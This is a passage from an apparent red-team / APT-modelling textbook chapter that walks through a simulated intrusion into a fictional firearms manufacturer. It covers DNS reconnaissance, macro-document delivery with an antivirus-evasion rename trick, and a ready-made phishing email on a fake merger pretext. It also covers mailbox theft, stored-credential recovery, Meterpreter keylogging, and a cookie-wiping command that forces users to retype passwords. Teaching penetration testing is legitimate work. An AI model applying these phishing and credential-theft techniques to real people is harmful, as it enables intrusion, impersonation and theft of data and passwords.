This is what OSINT is all about. I mentioned LinkedIn and other business networking sites in the past and it remains the best single source of target information. The only issue with LinkedIn is that it tends to over represent professional level positions and IT personnel. This is a very broad statement but worth considering given that I want to target the gunsmiths and the CNC technicians. It's a general rule of thumb that you want to avoid more IT savvy people when trying to crack the outer shell of a network, so it's good to have multiple sources of intelligence. Different professions have their own staff directories where you can find resumes and contact information; the gun manufacturing industry is no different.

Company location information is easily obtainable from public websites, as is the employee count. Why care about how many people work there? The number of employees tends to determine how technical problems are solved. Larger companies likely have all of their infrastructure in-house and maintained by their own employees, whereas small companies outsource even basic infrastructure. This is not a hard and fast rule, but a again, it's a good rule of thumb. A quick search reveals that Gotham Small Arms has fewer than 50 employees and is using Google Gmail to provide email services:

# dig gothamsmallarms.com MX

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> gothamsmallarms.com MX
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47163
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;gothamsmallarms.com.             IN      MX

;; ANSWER SECTION:
gothamsmallarms.com.      3600    IN      MX      5 ALT1.ASPMX.L.GOOGLE.com.
gothamsmallarms.com.      3600    IN      MX      5 ALT2.ASPMX.L.GOOGLE.com.
gothamsmallarms.com.      3600    IN      MX      1 ASPMX.L.GOOGLE.com.
gothamsmallarms.com.      3600    IN      MX      10 ASPMX2.GOOGLEMAIL.com.
gothamsmallarms.com.      3600    IN      MX      10 ASPMX3.GOOGLEMAIL.com.

;; AUTHORITY SECTION:
gothamsmallarms.com.      3595    IN      NS      ns78.domaincontrol.com.
gothamsmallarms.com.      3595    IN      NS      ns77.domaincontrol.com.

;; Query time: 154 msec
;; SERVER: 80.69.67.66#53(80.69.67.66)
;; WHEN: Tue May 17 12:47:30 2016
;; MSG SIZE  rcvd: 217

This is interesting. If they're using Google's professional cloud services for email, they may also be using them for document sharing, which can make things easier for stealing documents. But they probably have a policy that it not be used for sensitive intellectual property (or they should—I worked for a security company that stored pen test reports on Google Docs).

Smart(er) VBA Document Deployment

With a list of targets, it's time to build the payload.

Earlier in this chapter, I revisited a highly effective deployment mechanism: the VBA macro. In the original discussion of this method, email was used as the delivery vector; however, this is not optimal. Email is generally heavily scrutinized as it is the easiest way for malware to enter the network and it's likely that certain attachments are going to be blocked at the border (potentially macros carrying MS Office documents as well). Also, delivering attachments that way means that evidence will linger in a way it won't if we just send a link to a file, for example. However, even if you send the user a link to a Word document on a web server, it doesn't alter the fact that the security software running on the workstation may detect and block it due to the .docm extension. How do you get around that? There is a solution but it is highly secret and known only to the world's most elite hackers. You rename the file from .docm to .doc.

Don't tell anyone.

Instead of sending the document directly to the targets, I'll host it on an external web server as a .doc file and send only the link via email. That way, overly aggressive mail filters will not be a problem. There's still a danger that files could be searched for macros at the border of the network, but it's a lot less risky than email, as that is where most malware is expected to enter the network. Social engineering when delivering Office documents is a matter of circumstance and personal taste, but variations of the following are often successful. Not to stress the point but there are two things that you have to get right:

  • Give the end user a compelling reason to enable macros. The document should not give any real information to the target and should strongly suggest that macro interaction is required in order to render the document useful or readable. It should also be something that catches the eye and is attractive. Early in the book, I wrote about using a message that discussed redundancies and appeared to be improperly addressed. There are many variations of this powerful attack but it should be something that implies a change of circumstances for the receiver—usually negative circumstances (panic rides roughshod over common sense).
  • Tailor the attack to the client. It shouldn't look like just another massive fishing exercise insisting that their PayPal accounts have been compromised. Spend some time researching how their documents look, where the logo is positioned and how it is formatted, what typeface is used, and so forth. Google is your friend but also scan the target's public facing websites. You can generally find PDFs at the very least that will give you something to work with. Most companies have an info@ email address that will usually send an automated response, which is useful for forging email footers. You can also send a mass BCC email to the addresses you've harvested on whatever pretext you want and see who bites. It's also likely that at least one inbox will respond with an “Out of Office” message, which are handy for many reasons, the formatting being the least. Now you know who's unavailable (particularly in a large organization), which gives you some flexibility if you need to impersonate employees without them being immediately alerted to that fact (see Figure 5.13).
Screenshot for Word document interface.

Figure 5.13: The victim will still have to Enable Content but that's a social engineering issue.

The question now is what social engineering approach should you use to pique the target's interest? A variation on the old improperly addressed redundancy notice should serve well enough.

To: [email protected]
From: [email protected]
Subject: [CONFIDENTIAL] Gothams Small Arms merger update


Hi Oswald,

I hope this finds you well.

I've attached a link the numbers we discussed last week so hopefully this won't come as too much of a shock. That said, this is still pre-embargo confidential as per FTC rules, so please don't distribute. Given the large number of employees who are going to be shed as a result of the merger, I'm going to recommend a professional skills transition counselor to your department when I see you guys next week.

http://1.2.3.4/intranet/downloads/gothammerger_v1.4_CF_21032016.doc

Regards,

Carmine

p.s. Give my love to Gertrud!

***** Email confidentiality notice *****

This message is private and confidential. If you have received this message in error, please notify us and remove it from your system.

Email and Saved Passwords

A quick and easy way to gain situational awareness having compromised a user's workstation is to grab their email in a format you can import into an email client on your own machine. This can be a goldmine of information, such as names, email addresses, documents, and other organizational information—even passwords if you're very lucky. You'd be amazed how many people keep a backup of their corporate passwords in an Excel spreadsheet and email it to themselves as a backup—security policy be damned.

In a typical corporate environment, users will have Microsoft Outlook as an email client and calendar tied into Microsoft Exchange. Generally, users will only have a finite Exchange mailbox size and will be required to periodically transfer mails to a local store if they want to keep them. These resulting Personal Storage Table (.pst) files can be imported easily and without any conversion, whether in the Inbox, Sent Items, or any other folder. Otherwise, Exchange stores email data in its own Offline Stored Table (.ost) format, which (as the name implies) are locally stored on the client's workstation, allowing them to access their emails even when they're not connected to the Exchange server.

Microsoft claims that it is not possible to directly import .ost files into another Outlook client or convert them into .pst files for the same purposes which, if true, would complicate things. However, there are a number of tools available online for a small fee that make such a conversion a one-click process without the need for any other data such as MAPI profiles. There is very little difference among such utilities so I'll refrain from making recommendations here.

Similar techniques can be used to steal email from other email clients, and this is something I want to explore in the exercises that follow.

A compromised workstation can be a cornucopia of stored credentials. Many applications allow users to store their usernames and passwords for their convenience (i.e., an SFTP client). Most programs, though, will store these passwords encrypted, usually in a local config file or in the Registry. In these circumstances, there are two possible attacks:

  • Decrypting the credential store. Some software is more susceptible to this attack than others, but any cryptographic technology that stores small amounts of data such as passwords is inherently vulnerable to crypto-analytic attack (assuming the passwords are not excessively long). A simple Google search will usually suffice to discover how a password is being encoded and what tools can be used to recover it.
  • It's not always possible to recover encrypted passwords in this manner if the crypto system cannot be determined or if the passwords are too long to permit a successful crypt-and-compare attack. In these instances, it is usually sufficient to copy the encrypted hashes, install the client application, and re-create the login file or Registry entries locally. This won't give you access to the unencrypted passwords but will let you access the applications they are intended to secure. Alternatively, if the connection protocol the client uses is not encrypted (i.e., Telnet and FTP—people do still use these on local networks and elsewhere), you can use a network sniffer (such as Wireshark) on your own machine to see the password transmitted in the clear.

In this scenario, the target is outsourcing their email needs to Google, which permits users access to their inboxes using the familiar Gmail interface. However, it is perfectly common to see businesses that do so continue to use MS Outlook on the desktop and integrate into the Google mail backend. This usually has to do with legacy, familiarity, and compatibility.

Keyloggers and Cookies

Keyloggers are used to steal keystrokes from the victims as they type and are mostly useful for stealing passwords. Keystrokes are logged to a file for later retrieval or transmitted back to C2 in real time or at regular intervals. There's nothing new or innovative about the use of a keylogger, but it's a core tool and deserves one or two words on how it should be used properly.

Helpfully, the Metasploit Framework includes a keylogger that's adequate and illustrative enough for our needs. As part of the Meterpreter agent, it's also resilient to antivirus with adequate preparation. As with any attack that uses Meterpreter, the agent should first be migrated to another stable process prior to use to ensure that it will remain in memory even if the process that spawned it is killed. For general use, the explorer.exe process is perfectly acceptable; however, if your goal is to capture Windows logon credentials, you must first inject into the winlogon.exe process.

As stated, keyloggers are most useful for capturing usernames and passwords, but obviously are going to work only if the user types these credentials, which is not going to happen in certain circumstances. For example, in the previous example I discussed stored passwords. However, it's more likely you will encounter web applications that won't prompt the users for passwords because session state is maintained through the use of persistent cookies.

You can of course steal the cookies from the browser directory in order to hijack the user's session, but there are plenty of ways to defeat such attacks (for example, the server tracks IP addresses in the session or doesn't permit concurrent logins) and there are plenty of situations when you will want the credentials themselves. Users frequently reuse passwords across applications and environments after all. In such circumstances, the solution is simply to delete the cookies and force the users to log in the next time they visit the web page.

In IE, this is simply achieved from the command line:

c:> RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2

Chrome stores history, cookies, cache, and bookmarks in various databases and directories in the per-user application data directory at

C:Users<username>AppDataLocalGoogleChromeUser Data

The easiest way to get rid of all this data is just to erase the appropriate files from there. Chrome creates this directory automatically if it finds that it's missing.

A similar approach can be used for Firefox, Opera, and Safari.

Given that the target is using Google for email, it is highly likely that some or all of the users will be using a web-based interface to access their inboxes. The importance of expiring any current persistent sessions, forcing them to enter credentials in the browser, is clear.

Bringing It All Together

To recap:

  • In this attack, a variant of the VBA macro was used as a means of attacking the end user, gaining access to the client workstation, and deploying a C2 agent. The code was considerably simplified compared to what was described in Chapter 2. There's no need to deploy a VBS payload to download and execute a payload; just use what Windows gives you on the command line.
  • Inboxes were stolen from the target workstations in the form of .pst files that can be easily imported into your own instance of Microsoft Outlook. This permits the attacker to browse emails as easily as if they were his own. Think about the things you share with your colleagues every day without using encryption. Even with encryption, private keys can be stolen from the workstation and passphrases can be stolen with keyloggers.
  • Google mail passwords were stolen using keyloggers, permitting access not only to the web-based email interface, but also to document stores that account is linked to. Any clients using persistent cookies had their cookie stores deleted, this forcing the client to re-authenticate and to allow the attacker to capture the credentials.

At this point, even assuming control only over a few workstations, access can be considerable. An attacker could go dark for extended periods of time while maintaining a C2 foothold over the target and slowly expand influence over the network. At this point, the only thing to do is to search for and exfiltrate the target files based on the criteria already established.

And so it proves (see Figure 5.14).

Illustration of Lower receiver schematic in Solid Edge 3D.

Figure 5.14: Lower receiver schematic in Solid Edge 3D.

Source: Own work

Summary

By necessity, a lot of new information was crammed into this chapter. We looked at covert command and control, the ever-present danger of ransomware, and how awareness of this threat should fit into an APT modeling exercise. We covered different ways to use an already familiar technology to crack border security and alternative ways to bypass antivirus technology. Finally, the concepts of keyloggers, stealing email, and cached encrypted passwords were discussed.

The next chapter is no different. Lots of new concepts will be covered. Not the least, we will be covering privilege escalation techniques in depth. This is a core APT modeling skill that we've thus far only touched on.

Exercises

  1. There are several alternative email clients that can serve as a replacement to Microsoft Outlook. Some have Exchange integration and some not. Investigate how email boxes could be stolen from workstations with the following mail clients installed:
    • Opera Mail
    • Dreammail
    • i.Scribe
    • Postbox
    • Evolution
  2. You have to attack a host only accessible via the Tor network in a traditional network penetration test. You will immediately run into DNS issues resolving the .onion addresses. How would you resolve these issues so that you could bring your favorite tools to bear against the target?
  3. Imagine you are running a Tor Hidden Service to provision a black market online business. Think about some ways that the anonymity of your web server could be compromised and how you could protect yourself against them. Read about Ross Ulbricht and the Silk Road for context.
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.144.93.141